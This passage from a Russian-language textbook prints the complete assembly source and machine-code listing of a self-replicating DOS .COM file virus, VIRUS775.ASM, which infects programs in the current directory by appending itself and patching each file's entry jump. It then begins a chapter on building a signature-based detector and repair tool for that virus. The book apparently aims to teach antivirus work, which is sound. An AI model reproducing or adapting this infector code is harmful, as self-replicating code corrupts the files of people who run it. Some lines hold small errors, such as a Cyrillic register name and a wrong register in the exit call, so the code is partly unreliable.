Теперь осталось лишь вместо первых трех байт файла-жертвы записать три байта, которые представляют собой команду перехода на начало вируса.

WRITE_JMP:
	mov	cx,0
	mov	dx,0
	mov	bx,HANDLE
	mov	al,0		; Relative to file start
	mov	ah,42h
	int	21h		; Set seek to 0
	jc	ERR
 
	lea	dx,JMPVIR
	mov	сх,3
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write new JMP to file
	jc	ERR


Мы договорились, что единственным вредным действием (помимо заражения других программ), которое совершает наш вирус, будет выдача на экран сообщения о том, что заражен очередной файл. Конечно, если заражения не произошло, то и сообщения выдано не будет. Напомним, что текст сообщения хранится в области данных вируса в строке под меткой MSG.

PRINT_MSG:
	lea	dx,MSG
	mov	ah,09h
	int	21h		; Print a message


2.9 Обработка ошибок

Опишем действия вируса в случае возникновения ошибок (к ним мы причисляем и отсутствие файлов, удовлетворяющих шаблону). В этом случае вирус просто передает управление программе-носителю.

ERR:
	cmp	HANDLE,0FFFFh
	je	EXIT

CLOSE_FILE:
 
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close file

EXIT:
	cmp	cs:[ID],0FFFFh
	je	GOTO_DOS

RESTORE_DTA:
	mov	cx,100h
	mov	bx,0
DTA_R:
	mov	al,byte ptr DTA[bx]
	mov	byte ptr cs:[bx],al
	inc	bx
	loop	DTA_R

GOTO_START:
	mov	ax,cs
	mov	ds:[SIART_S],ax
	pop	ds
	db	0EAh		; Far jmp to START
	dw	0100h		; START offset
START_S	dw	(?)		; START segment

GOTO_DOS:
	mov	ax,4C00h
	int	21h


Аналогичные действия выполняются и при успешном выполнении вирусом своей программы. Предварительно вирус закрывает зараженный файл и восстанавливает PSP.

Теперь мы можем привести текст нашего вируса (вернее, программы, которая его запускает) целиком.

2.10 Текст программы VIRUS775.ASM

	.8086
	PAGE      ,132
;******************************************************
; VIRUS775.ASM emulates virus activity for .COM files
;******************************************************
CSEG	segment
	assume cs:cseg,ds:cseg,es:cseg
	org 100h
START:
	db	0E9h
	dw	15h		; Near jump to RESTORE_3_BYTES
ID	dw	0FFFFh

	org 110h

VIRUS:
	push	ds
	mov	ax,cs
	db	00000101b	; Add ax,imed
NEW_DS	dw	0FFFFh		; 0FFFFh should be replaced
	mov	ds,ax		; Define new ds segment

RESTORE_3_BYTES:
	mov	al,BYTES_3[0]	; Restore first 3 bytes
	mov	byte ptr cs:[100h],al
	mov	al,BYTES_3[1]
	mov	byte ptr cs:[101h],al
	mov	al,BYTES_3[2]
	mov	byte ptr cs:[102h],al

STORE_DTA:
	mov	cx,100h
	mov	bx,0
DTA_S:
	mov	al,byte ptr cs:[bx]
 
	mov	byte ptr DTA[bx],al
	inc	bx
	loop	DTA_S

FIND_FIRST:
	lea	dx,FMASK
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ah,4Eh
	int	21h		; Find first .COM file
	jnc	STORE_FNAME
	jmp	ERR

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh

	mov	ah,4Fh
	int	21h
	jnc	STORE_FNAME
	jmp	ERR

STORE_FNAME:
	cmp	byte ptr cs:[95h],00000001b	; Test r/o attribute
	je	FIND_NEXT	; if r/o is set, do not infect
	mov	bx,0

NEXT_SYM:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng	NEXT_SYM
	jmp	ERR

SET_ATTRIB:
	lea	dx,FNAME
 
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set file attributes
	jnc	READ_HANDLE
	jmp	ERR

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/write mode
	int	21h		; Open a file
	jnc	READ_3_BYTES
	jmp	ERR

READ_3_BYTES:
	mov	HANDLE,ax	; Store handle from ax
	lea	dx,BYTES_3
	mov	bx,HANDLE
	mov	cx,3		; Number of bytes to read

	mov	ah,3Fh
	int	21h		; Read and store first 3 bytes
	jnc	READ_FLEN
	jmp	ERR

READ_FLEN:
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	al,2		; Relative to EOF
	mov	ah,42h		; Get program length in dx:ax
	int	21h
	jnc	CHECK_ID
	jmp	ERR

CHECK_ID:
	mov	FLENOLD,ax	; Store length of file

	test	ax,00001111b
	jz	JUST
	or	ax,00001111b
	inc	ax
 
JUST:
	mov	FLEN,ax		; Store corrected length of file

	cmp	ax,64500
	jna	CALC_DS
	jmp	FIND_NEXT

CALC_DS:
	mov	cl,4
	shr	ax,cl		; Calculate new ds segment difference
	dec	ax
	mov	byte ptr NEW_DS[0],al
	mov	byte ptr NEW_DS[1],ah	; Store new ds segment

	mov	cx,0
	mov	dx,FLENOLD
	dec	dx
	mov	bx,HANDLE
	mov	al,0		; Relative to EOF
	mov	ah,42h
	int	21h		; Set seek to last byte of file
	jnc	READ_ID
	jmp	ERR

READ_ID:
	lea	dx,BYTES_3[3]
	mov	bx,HANDLE
	mov	cx,1
	mov	ah,3Fh
	int	21h		; Read last byte to BYTES_3[3] (ID='$')
	jnc	TEST_ID
	jmp	FIND_NEXT

TEST_ID:
	cmp	BYTES_3[3],'$'
	jne	NOT_INFECTED
	jmp	FIND_NEXT	; Check if file is infected

NOT_INFECTED:
 
	mov	ax,FLEN		; Calculate JMP address
	sub	ax,03h
	mov	JMP_L,al
	mov	JMP_H,ah	; Store new JMP address

	mov	cx,0
	mov	dx,FLEN
	mov	bx,HANDLE
	mov	ax,4200h	; Set seek to corrected end of file
	int	21h
	jc	ERR

	lea	dx,VIRUS
	mov	cx,VIRLEN
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write virus to file
	jc	ERR

WRITE_JMP:
	mov	cx,0
	mov	dx,0
	mov	bx,HANDLE
	mov	al,0		; Relative to file start
	mov	ah,42h
	int	21h		; Set seek to 0
	jc	ERR

	lea	dx,JMPVIR
	mov	cx,3
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write new JMP to file
	jc	ERR

PRINT_MSG:
	lea	dx,MSG
	mov	ah,09h
	int	21h		; Print a message

ERR:
 
	cmp	HANDLE,0FFFFh
	je	EXIT

CLOSE_FILE:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close  file

EXIT:
	cmp	cs:[ID],0FFFFh
	je	GOTO_DOS

RESTORE_DTA:
	mov	cx,100h
	mov	bx,0

DTA_R:
	mov	al,byte ptr DTA[bx]
	mov	byte ptr cs:[bx],al
	inc	bx
	loop	DTA_R

GOTO_START:
	mov	ax,cs
	mov	ds:[START_S],ax
	pop	ds
	db	0EAh		; Far jmp to START
	dw	0100h		; START offset
START_S	dw	(?)		; START segment

GOTO_DOS:
	mov	bx,4C00h
	int	21h
	
FMASK	db	'*.COM',0h
FNAME	db	12 dup (?),0h
FLENOLD	dw	(?)		; Length of file
FLEN	dw	(?)		; Corrected length of file
HANDLE	dw	0FFFFh		; File handle number
JMPVIR	db	0E9h		; JMP code
JMP_L	db	(?)
 
JMP_H	db	(?)		; 3 bytes for virus JMP
BYTES_3	db	3 dup (?)	; Original 3 bytes
	db	(?)
DTA	db	101h dup (?)
MSG	db	0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
VIRLEN	equ	$-VIRUS

CSEG	ends
	end START



Глава З. Пишем антивирус

Прежде чем начать работу по созданию антивирусной программы, необходимо сказать несколько слов о том, что для этого необходимо. Первым условием является наличие у разработчика антивирусной программы хотя бы одного экземпляра файла, зараженного тем вирусом, с которым разрабатываемая антивирусная программа будет бороться. Невозможно создать универсальную антивирусную программу-детектор, которая могла бы обнаруживать любые неизвестные вирусы. Исключение составляют резидентные программы-ревизоры, которые перехватывают прерывания DOS и BIOS, ответственные за обмен с диском, или программы, проверяющие длины и контрольные суммы файлов. Однако и эти программы не являются универсальными в полном смысле этого слова, т.к. существуют т.н. "интеллектуальные" вирусы, которые "обходят" системные прерывания и таким образом данный канал для обнаружения активности вируса становится неэффективным. Достаточно сложной проблемой является также обнаружение загрузочных и драйверных вирусов, поскольку первые не являются файловыми (и они всегда резидентны), а вторые, внедряясь в драйвер путем модификации его заголовка, имитируют работу драйвера таким образом, что становится трудно различить, какая часть работы драйвера (по обмену с диском) санкционирована пользователем или вызывающей драйвер программой, а какая - нет.

Поэтому наиболее эффективным способом обнаружения известных вирусов (в том числе и интеллектуальных) остается просмотр файлов с целью выявить в файле код внедрившегося вируса (или часть этого кода). Следовательно, как признали уже многие компьютерные вирусологи, важной частью систематической борьбы с вирусами является выделение характерных для различных вирусов последовательностей кодов - так называемых сигнатур. Эти сигнатуры должны отвечать двум основным требованиям:
  1. сигнатура должна быть устойчивой, т.е. не изменяться при заражении вирусом различных файлов;
  2. сигнатура должна быть достаточно уникальной, т.е. не должна встречаться в других вирусах и в других программах.
Соблюсти второе требование можно двумя способами:
  1. увеличивая длину сигнатуры и тем самым снижая вероятность появления сходной сигнатуры в других файлах;
  2. экспериментально проверяя отсутствие данной сигнатуры-кандидата в системных и прикладных программах.
Расчеты показывают, что при длине сигнатуры в 10 байт вероятность обнаружить данную сигнатуру на диске емкостью 100 Мб (т.е вероятность ложного срабатывания вирусного детектора равна приблизительно одной миллиардной). Разумеется, если в качестве сигнатуры взят участок кода, соответствующий какой-либо часто встречающейся конструкции языка программирования, эта вероятность резко возрастает. Поэтому экспериментальная проверка сигнатуры все же нужна.

3.1 Как искать сигнатуру вируса

Чтобы найти в теле вируса последовательность кодов, которую можно было использовать в качестве сигнатуры, прежде всего нужен сам вирус, т.е. его двоичный (исполняемый) код. Мы можем получить такой код очень просто: достаточно оттранслировать наш вирус при помощью имеющегося в Вашем распоряжении макроассемблера. При этом полезно "попросить" макроассемблер создать листинг нашего вируса, поскольку листинг содержит как ассемблерные команды, так и перемещаемый двоичный код (а именно он нам сейчас и нужен). Кроме того, листинг вируса содержит относительные смещения кодов команд в программе, по которым легко ориентироваться при расчете адресов данных и переходов в теле вируса, которые наш антивирус-фаг будет использовать в своей работе.

Итак...

3.2 Листинг программы VIRUS775.ASM

Microsoft (R) Macro Assembler Version 5.00                  6/24/91 21:21:14
  1					.8086
  2					PAGE      ,132
  3	;******************************************************
  4	; VIRUS775.ASM emulates virus activity for .COM files
  5	;******************************************************
  6 0000				CSEG	segment
  7					assume cs:cseg,ds:cseg,es:cseg
  8 0100				org 100h
  9 0100				START:
 10 0100  E9				db	0E9h
 
 11 0101  0015				dw	15h		; Near jump to
RESTORE_3_BYTES
 12 0103  FFFF			ID	dw	0FFFFh
 13				
 14 0110				org 110h
 15				
 16 0110			VIRUS:
 17 0110  1E				push	ds
 18 0111  8C C8				mov	ax,cs
 19 0113  05				db	00000101b	; Add ax,imed
 20 0114  FFFF			NEW_DS	dw	0FFFFh	; 0FFFFh should be
replaced
 21 0116  8E D8				mov	ds,ax	; Define new ds segment
 22				
 23 0118			RESTORE_3_BYTES:
 24 0118  A0 02DB R			mov	al,BYTES_3[0]	; Restore first 3
bytes
 25 011B  2E: A2 0100			mov	byte ptr cs:[100h],al
 26 011F  A0 02DC R			mov	al,BYTES_3[1]
 27 0122  2E: A2 0101			mov	byte ptr cs:[101h],al
 28 0126  A0 02DD R			mov	al,BYTES_3[2]
 29 0129  2E: A2 0102			mov	byte ptr cs:[102h],al
 30				
 31 012D			STORE_DTA:
 32 012D  B9 0100				mov	cx,100h
 33 0130  BB 0000				mov	bx,0
 34 0133			DTA_S:
 35 0133  2E: 8A 07			mov	al,byte ptr cs:[bx]
 36 0136  88 87 02DF R			mov	byte ptr DTA[bx],al
 37 013A  43				inc	bx
 38 013B  E2 F6				loop	DTA_S
 39				
 40 013D			FIND_FIRST:
 41 013D  8D 16 02BF R			lea	dx,FMASK
 42 0141  B9 0020				mov	cx,00100000b	;
arc,dir,vol,sys,hid,r/o
 43 0144  B4 4E				mov	ah,4Eh
 44 0146  CD 21				int	21h	; Find first .COM file
 45 0148  73 1A				jnc	STORE_FNAME
 46 014A  E9 0288 R			jmp	ERR
 47				
 48 014D			FIND_NEXT:
 49 014D  8B 1E 02D6 R			mov	bx,HANDLE
 50 0151  B4 3E				mov	ah,3Eh
 
 51 0153  CD 21				int	21h	; Close previous file
 52 0155  C7 06 02D6 R FFFF		mov	HANDLE,0FFFFh
 53				
 54 015B  B4 4F				mov	ah,4Fh
 55 015D  CD 21				int	21h
 56 015F  73 03				jnc	STORE_FNAME
 57 0161  E9 0288 R			jmp	ERR
 58				
 59 0164			STORE_FNAME:
 60 0164  2E: 80 3E 0095 01		cmp	byte ptr cs:[95h],00000001b
; Test r/o attribute
 61 016A  74 E1				je	FIND_NEXT	; if r/o is set,
do not infect
 62 016C  BB 0000			mov	bx,0
 63				
 64 016F			NEXT_SYM:
 65 016F  2E: 8A 87 009E		mov	al,byte ptr cs:[bx+9Eh]
 66 0174  88 87 02C5 R			mov	FNAME[bx],al
 67 0178  2E: 80 BF 009E 00		cmp	byte ptr cs:[bx+9Eh],0
 68 017E  74 09				je	SET_ATTRIB
 69 0180  43				inc	bx
 70 0181  83 FB 0D				cmp	bx,13
 71 0184  7E E9				jng	NEXT_SYM
 72 0186  E9 0288 R			jmp	ERR
 73				
 74 0189			SET_ATTRIB:
 75 0189  8D 16 02C5 R			lea	dx,FNAME
 76 018D  B9 0020			mov	cx,00100000b	;
arc,dir,vol,sys,hid,r/o
 77 0190  B8 4301			mov	ax,4301h
 78 0193  CD 21				int	21h	; Set file attributes
 79 0195  73 03				jnc	READ_HANDLE
 80 0197  E9 0288 R			jmp	ERR
 81				
 82 019A			READ_HANDLE:
 83 019A  8D 16 02C5 R			lea	dx,FNAME
 84 019E  B8 3D02			mov	ax,3D02h	; Read/write mode
 85 01A1  CD 21				int	21h		; Open a file
 86 01A3  73 03				jnc	READ_3_BYTES
 87 01A5  E9 0288 R			jmp	ERR
 88				
 89 01A8			READ_3_BYTES:
 
 90 01A8  A3 02D6 R			mov	HANDLE,ax  ; Store handle from ax
 91 01AB  8D 16 02DB R			lea	dx,BYTES_3
 92 01AF  8B 1E 02D6 R			mov	bx,HANDLE
 93 01B3  B9 0003			mov	cx,3	; Number of bytes to read
 94				
 95 01B6  B4 3F				mov	ah,3Fh
 96 01B8  CD 21				int	21h	; Read and store first
3 bytes
 97 01BA  73 03				jnc	READ_FLEN
 98 01BC  E9 0288 R			jmp	ERR
 99				
100 01BF			READ_FLEN:
101 01BF  B9 0000			mov	cx,0
102 01C2  BA 0000			mov	dx,0	; NULL seek position in
cx:dx
103 01C5  8B 1E 02D6 R			mov	bx,HANDLE
104 01C9  B0 02				mov	al,2	; Relative to EOF
105 01CB  B4 42				mov	ah,42h	; Get program length in
dx:ax
106 01CD  CD 21				int	21h
107 01CF  73 03				jnc	CHECK_ID
108 01D1  E9 0288 R			jmp	ERR
109				
110 01D4			CHECK_ID:
111 01D4  A3 02D2 R			mov	FLENOLD,ax ; Store length of file
112				
113 01D7  A9 000F			test	ax,00001111b
114 01DA  74 04				jz	JUST
115 01DC  0D 000F			or	ax,00001111b
116 01DF  40				inc	ax
117				
118 01E0			JUST:
119 01E0  A3 02D4 R			mov	FLEN,ax		; Store corrected
length of file
120				
121 01E3  3D FBF4			cmp	ax,64500
122 01E6  76 03				jna	CALC_DS
123 01E8  E9 014D R			jmp	FIND_NEXT
124				
125 01EB			CALC_DS:
126 01EB  B1 04				mov	cl,4
 
127 01ED  D3 E8				shr	ax,cl		; Calculate new
ds segment difference
128 01EF  48				dec	ax
129 01F0  A2 0114 R			mov	byte ptr NEW_DS[0],al
130 01F3  88 26 0115 R			mov	byte ptr NEW_DS[1],ah
; Store new ds segment
131				
132 01F7  B9 0000			mov	cx,0
133 01FA  8B 16 02D2 R			mov	dx,FLENOLD
134 01FE  4A				dec	dx
135 01FF  8B 1E 02D6 R			mov	bx,HANDLE
136 0203  B0 00				mov	al,0	; Relative to EOF
137 0205  B4 42				mov	ah,42h
138 0207  CD 21				int	21h	; Set seek to last byte
of file
139 0209  73 03				jnc	READ_ID
140 020B  EB 7B 90			jmp	ERR
141				
142 020E			READ_ID:
143 020E  8D 16 02DE R			lea	dx,BYTES_3[3]
144 0212  8B 1E 02D6 R			mov	bx,HANDLE
145 0216  B9 0001			mov	cx,1
146 0219  B4 3F				mov	ah,3Fh
147 021B  CD 21				int	21h	; Read last byte
to BYTES_3[3] (ID='$')
148 021D  73 03				jnc	TEST_ID
149 021F  E9 014D R			jmp	FIND_NEXT
150				
151 0222			TEST_ID:
152 0222  80 3E 02DE R 24		cmp	BYTES_3[3],'$'
153 0227  75 03				jne	NOT_INFECTED
154 0229  E9 014D R			jmp	FIND_NEXT	; Check if file
is infected
155				
156 022C			NOT_INFECTED:
157 022C  A1 02D4 R			mov	ax,FLEN	; Calculate JMP address
158 022F  2D 0003			sub	ax,03h
159 0232  A2 02D9 R			mov	JMP_L,al
160 0235  88 26 02DA R			mov	JMP_H,ah ; Store new JMP address
161				
162 0239  B9 0000			mov	cx,0
163 023C  8B 16 02D4 R			mov	dx,FLEN
164 0240  8B 1E 02D6 R			mov	bx,HANDLE
 
165 0244  B8 4200			mov	ax,4200h	; Set seek to
corrected end of file
166 0247  CD 21				int	21h
167 0249  72 3D				jc	ERR
168				
169 024B  8D 16 0110 R			lea	dx,VIRUS
170 024F  B9 02F7 90			mov	cx,VIRLEN
171 0253  8B 1E 02D6 R			mov	bx,HANDLE
172 0257  B4 40				mov	ah,40h
173 0259  CD 21				int	21h	; Write virus to file
174 025B  72 2B				jc	ERR
175				
176 025D			WRITE_JMP:
177 025D  B9 0000			mov	cx,0
178 0260  BA 0000			mov	dx,0
179 0263  8B 1E 02D6 R			mov	bx,HANDLE
180 0267  B0 00				mov	al,0	; Relative to file start
181 0269  B4 42				mov	ah,42h
182 026B  CD 21				int	21h	; Set seek to 0
183 026D  72 19				jc	ERR
184				
185 026F  8D 16 02D8 R			lea	dx,JMPVIR
186 0273  B9 0003			mov	cx,3
187 0276  8B 1E 02D6 R			mov	bx,HANDLE
188 027A  B4 40				mov	ah,40h
189 027C  CD 21				int	21h	; Write new JMP to file
190 027E  72 08				jc	ERR
191				
192 0280			PRINT_MSG:
193 0280  8D 16 03E0 R			lea	dx,MSG
194 0284  B4 09				mov	ah,09h
195 0286  CD 21				int	21h	; Print a message
196				
197 0288			ERR:
198 0288  83 3E 02D6 R FF		cmp	HANDLE,0FFFFh
199 028D  74 08				je	EXIT
200				
201 028F			CLOSE_FILE:
202 028F  8B 1E 02D6 R			mov	bx,HANDLE
203 0293  B4 3E				mov	ah,3Eh
204 0295  CD 21				int	21h		; Close  file
205				
 
206 0297			EXIT:
207 0297  2E: 83 3E 0103 R FF		cmp	cs:[ID],0FFFFh
208 029D  74 1B				je	GOTO_DOS
209				
210 029F			RESTORE_DTA:
211 029F  B9 0100			mov	cx,100h
212 02A2  BB 0000			mov	bx,0
213				
214 02A5			DTA_R:
215 02A5  8A 87 02DF R			mov	al,byte ptr DTA[bx]
216 02A9  2E: 88 07			mov	byte ptr cs:[bx],al
217 02AC  43				inc	bx
218 02AD  E2 F6				loop	DTA_R
219				
220 02AF			GOTO_START:
221 02AF  8C C8				mov	ax,cs
222 02B1  A3 02B8 R			mov	ds:[START_S],ax
223 02B4  1F				pop	ds
224 02B5  EA				db	0EAh	; Far jmp to START
225 02B6  0100				dw	0100h	; START offset
226 02B8  0000			START_S	dw	(?)	; START segment
227				
228 02BA			GOTO_DOS:
229 02BA  BB 4C00			mov	bx,4C00h
230 02BD  CD 21				int	21h
231					
232 02BF  2A 2E 43 4F 4D 00	FMASK	db	'*.COM',0h
233 02C5  000C[			FNAME	db	12 dup (?),0h
234	   ??			
235			 ]	
236       00			
237 02D2  0000			FLENOLD	dw	(?)	; Length of file
238 02D4  0000			FLEN	dw	(?)	; Corrected length of file
239 02D6  FFFF			HANDLE	dw	0FFFFh	; File handle number
240 02D8  E9			JMPVIR	db	0E9h	; JMP code
241 02D9  00			JMP_L	db	(?)
242 02DA  00			JMP_H	db	(?)	; 3 bytes for virus JMP
243 02DB  0003[			BYTES_3	db	3 dup (?) ; Original 3 bytes
 
244	   ??			
245			 ]	
246				
247 02DE  00				db	(?)
248 02DF  0101[			DTA	db	101h dup (?)
249	   ??			
250			 ]	
251				
252 03E0  0A 0D 48 61 6C 6C 6F	MSG	db	0Ah,0Dh,'Hallo! I have got
a virus for you!',0Ah,0Dh,'$'
253       21 20 49 20 68 61 76
254       65 20 67 6F 74 20 61
255       20 76 69 72 75 73 20
256       66 6F 72 20 79 6F 75
257       21 0A 0D 24
258 = 02F7			VIRLEN	equ	$-VIRUS
259				
260 0407				CSEG	ends
261					end START


3.3 Подбираем сигнатуру

В принципе при выборе сигнатуры существует большая свобода, ограниченна лишь перечисленными выше условиями. Нас заинтересовали в листинге вируса строки с номерами 149-154.

149 021F  E9 014D R			jmp	FIND_NEXT
150				
151 0222			TEST_ID:
152 0222  80 3E 02DE R 24		cmp	BYTES_3[3],'$'
153 0227  75 03				jne	NOT_INFECTED
154 0229  E9 014D R			jmp	FIND_NEXT	;
Check if file is infected


Если развернуть эти строки листинга в цепочку кодов, то получится следующая последовательность шестнадцатеричных чисел:

Е9 21 FF 80 3E DE 02 24 75 03 Е9 21 FF

Правда, в листинге Вы не найдете двух повторяющихся пар чисел 21 FF, следующих за кодом команды короткого перехода E9. Однако эти числа легко получить одним из двух изложенных ниже способов.
  1. Учитывая, что код команды JMP <адрес> включает в себя слово, обозначающее адрес внутрисегментного переходе, и зная адрес метки FIND_NEXT равный 222 (в десятичной системе счисления) или 014D (в шестнадцатеричной системе счисления), можно рассчитать, что это слово должно представлять собой как раз шестнадцатеричное число FF21 (а поскольку младшая часть адреса записывается раньше старшей, то мы и получаем последовательность 21 FF).
  2. Достаточно просмотреть код оттранслированной программы-вируса с помощью любого отладчика, чтобы убедиться, что именно эта последовательность кодов присутствует в теле вируса в указанном нами месте.
Мы решили в качестве сигнатуры воспользоваться лишь последними одиннадцатью байтами, а именно строкой:

FF 80 3E DE 02 24 75 03 Е9 21 FF

Длина этой строки вполне достаточна, чтобы ее можно было использовать в качестве сигнатуры нашего вируса, а ее уникальность мы дополнительно проверим, когда наш антивирус будет готов.

3.4 Что должен делать антивирус

Основные принципы действия файлового антивируса были изложены в главе 1. Мы лишь напомним, что наш антивирус должен:
  1. просматривать .COM-файлы в текущем каталоге, находить файлы, содержащие сигнатуру нашего вируса и выводить на экран сообщение о том, какие файлы заражены вирусом и сколько всего файлов заражено;
  2. по указанию пользователя антивирус должен осуществлять "лечение" (т.е. восстановление) зараженных файлов в текущем каталоге согласно алгоритму, изложенному в главе 1.
Наша задача упрощается двумя обстоятельствами. Первое, наш антивирус, как и вирус, учебный. Поэтому нам не нужно осуществлять громоздкий алгоритм поиска зараженных файлов по всему диску (желающие могут внести это усовершенствование самостоятельно). И второе, наш вирус хранит в своей области данных первоначальную длину программы-жертвы до ее заражения. Поэтому мы имеем возможность восстанавливать зараженную программу в идеальных условиях - т.е. один к одному!

3.5 Область данных антивируса

Область данных нашей антивирусной программы (детектора и фага) будет сильно напоминать область данных вируса, поскольку мы воспользуемся многими из готовых алгоритмов, использованными при создании вируса (например, блоками доступа к файлам). Кроме того, мы будем использовать многие из тех данных, которые использует в своей работе вирус, а для наглядности сохраним по возможности и названия меток.

MODE	db	0	; 0 - find, 1 - find & cure
FILES	db	0	; Number of infected files
SIG	db	0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
	db	0	; Virus signature (last byte)
SIGL	equ	$-SIG	; Length of SIG string
SIGO	dw	(?)	; Offset of SIG in file
SIGO3	dw	0BAh	; Offset of old 3 bytes relative to SIG
SIGFL	dw	0B1h	; Offset of old file length relative to SIG
FMASK	db	'*.COM',0h	; File name mask
FLEN	dw	(?)	; Current length af tested file
FLENOLD	dw	(?)	; Old length of file to be cured
HANDLE	dw	0FFFFh	; File handle number
ATTRIB	db	(?)	; File attribute
FSEG	dw	(?)	; Segment to store file
LBL	db	'$'	; Security label
CSEG	ends
	end START


Хорошим тоном (и безопасным методом) считается использование по умолчанию алгоритма поиска зараженных файлов, который осуществляется при запуске антивируса без параметров. Это предохраняет пользователя от непреднамеренной "обработки" антивирусом тех файлов, для которых еще не созданы запасные копии на случай неудачного лечения или ложного срабатывания детектора при поиске сигнатуры.

Поэтому наш антивирус должен работать в двух режимах: поиск и выявление файлов, содержащих сигнатуру вируса (по умолчанию) и "лечение" зараженных файлов (при запуске антивируса, например, с параметром "/q" (от слова qure - лечить). Для распознаиания режима мы введем переменную по имени MODE:

MODE	db	0	; 0 - find, 1 - find & cure


Поскольку наш антивирус ведет подсчет зараженным файлам, нам необходимо также отвести переменную, которую он будет использовать в качестве счетчика. Назовем ее FILES:

FILES	db	0	; Number of infected files


Очевидно, что наш антивирус должен также как-то хранить и сигнатуру вируса для того, чтобы было с чем сравнивать коды просматриваемых файлов. Однако, для того, чтобы наш антивирус не "сработал" сам от себя, мы просто-напросто заменим последний байт сигнатуры (FF) на ноль (00):

SIG	db	0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
	db	0	; Virus signature (last byte)


Восстанавливать же этот последний байт мы будем в памяти сразу же после запуска антивируса.

Для использования в качестве граничной переменной в счетчиках цикла нам понадобится длина сигнатуры (в байтах). Для того, чтобы не изменять общности, сформируем это число в виде разности начального и конечного адреса сигнатуры плюс единица:

SIGL	equ	$-SIG	; Length of SIG string


Сразу же отметим, что эта величина является константой для данной программы и не занимает места области данных.

Заранее никогда неизвестно, где в зараженном файле расположена сигнатура вируса, а также все остальные данные: сохраненные три байта, длина программы-жертвы и т.п. Даже вести счет от "хвоста" файла мы не имеем права, т.к. за нашим вирусом может "сесть" другой вирус. Поэтому мы должны ввести точку отсчета, относительно которой антивирус будет рассчитывать адреса всех остальных частей вируса. В качестве такой точки отсчета выберем первый байт сигнатуры, а для привязки к этой точке отсчета нам необходимо хранить смещения всех необходимых нам данных (вируса) относительно смещения первого байта сигнатуры. Кроме того, мы должны предусмотреть место для хранения смещения первого байта сигнатуры в зараженном файле, чтобы использовать это смещение в качестве точки отсчета.

SIGO	dw	(?)	; Offset of SIG in file
SIGO3	dw	0BAh	; Offset of old 3 bytes relative to SIG
SIGFL	dw	0B1h	; Offset of old file length relative to SIG


Таким образом, выделим в области данных антивируса следующие три слова: SIGO - адрес (смещение) первого байта сигнатуры в зараженном файле; SIGO3 - смещение первого из трех сохраненных (первых) байт зараженного файла относительно адреса первого байта сигнатуры; SIGFL - смещение слова, в котором хранится прежняя длина зараженного файла, относительно адреса первого байта сигнатуры.

FMASK	db	'*.COM',0h	; File name mask


FMASK - имеет тот же смысл, что и в программе вируса: маска имен файлов (т.е. шаблон поиска). Для проверки файлов с любыми расширениям достаточно заменить в маске расширение "COM" на звездочку: "*".

FLEN	dw	(?)	; Current length af tested file


FLEN - текущая длина тестируемого файла. Эта величина необходима антивирусу при выборе алгоритма считывания файла.

FLENOLD	dw	(?)	; Old length of file to be cured


FLENOLD - Прежняя длина зараженного файла. Эту величину антивирус извлечет, пользуясь набором смещений, описанных в предыдущих абзацах.

HANDLE	dw	0FFFFh	; File handle number


HANDLE - логический номер (handle) файла. С этой величиной мы уже знакомы из опыта написания вируса.

ATTRIB	db	(?)	; File attribute


ATTRIB - здесь антивирус может хранить исходный байт атрибутов файла для того, чтобы после лечения (или просмотра) восстанавливать этот атрибут.

FSEG	dw	(?)	; Segment to store file


FSEG - сегментный адрес области, которую антивирус запрашивает у DOS для хранения тестируемого файла.

LBL	db	'$'	; Security label


И, наконец, последний байт - код "$" (доллар), метка LBL - наглядная иллюстрация того, как программа-антивирус может защитить сама себя от вируса методом вакцинации. Этот прием мы обсуждали в главе 2 при рассмотрении того, как наш вирус избегает повторного заражения программ.

3.6 Антивирус начинает работу

Как мы условились ранее, сразу же после запуска наш антивирус формирует в памяти сигнатуру вируса, для которой ему не хватает одного последнего байта.

START:
	mov	SIG[10],0FFh		; Completes SIG string


Затем антивирус "выясняет", в каком из двух возможных режимов - поиска вируса или "лечения" зараженных файлов - он должен работать. Мы решили, что по умолчанию антивирус лишь ищет зараженные файлы. Если же в командной строке появляется параметр /q или просто буква q, антивирус переходит в режим "лечения".

3.7 Читаем командную строку

Перед передачей управления запускаемой программе, DOS формирует PSP (Program Segment Prefix) по нулевому смещению в памяти ЭВМ. PSP занимает 100h байт и включает в себя DTA (Data Transfer Area). Структура DTA хорошо известна, в частности, по смещению 80h располагается длина области UPA (Unformatted Parameter Area), в которой начиная со смещения 81h хранятся параметры командной строки (исключая директивы переназначения). Если длина UPA нулевая (т.е. байт по адресу 80h равен нулю), значит, командная строка - пустая, и следовательно, антивирус сохраняет режим по умолчанию (поиск сигнатуры). Если же этот байт ненулевой, необходимо проверить, не содержится ли среди параметров буква q.

READ_PARAM:
	cmp	byte ptr cs:[80h],0
	je	FIND_MODE	; If no parameters, "find" mode
	mov	ax,ds
	mov	es,ax
	cld
	mov	al,'q'	; 'q' - "find & cure mode" (MODE=1)
	mov	ch,0
	mov	cl,cs:[80h]	; Length of UPA (from PSP)
	mov	di,81h		; Offset  of UPA (from PSP)
	repne	scasb
	je	CURE_MODE

FIND_MODE:
	mov	MODE,0
	jmp	ALLOC_MEM

CURE_MODE:
	mov	MODE,1


Если буква 'q' найдена, то по адресу MODE заносится число 1 (режим "лечения"), в противном случае там хранится ноль, обозначающий режим по умолчанию (только поиск).

3.8 Заказываем память

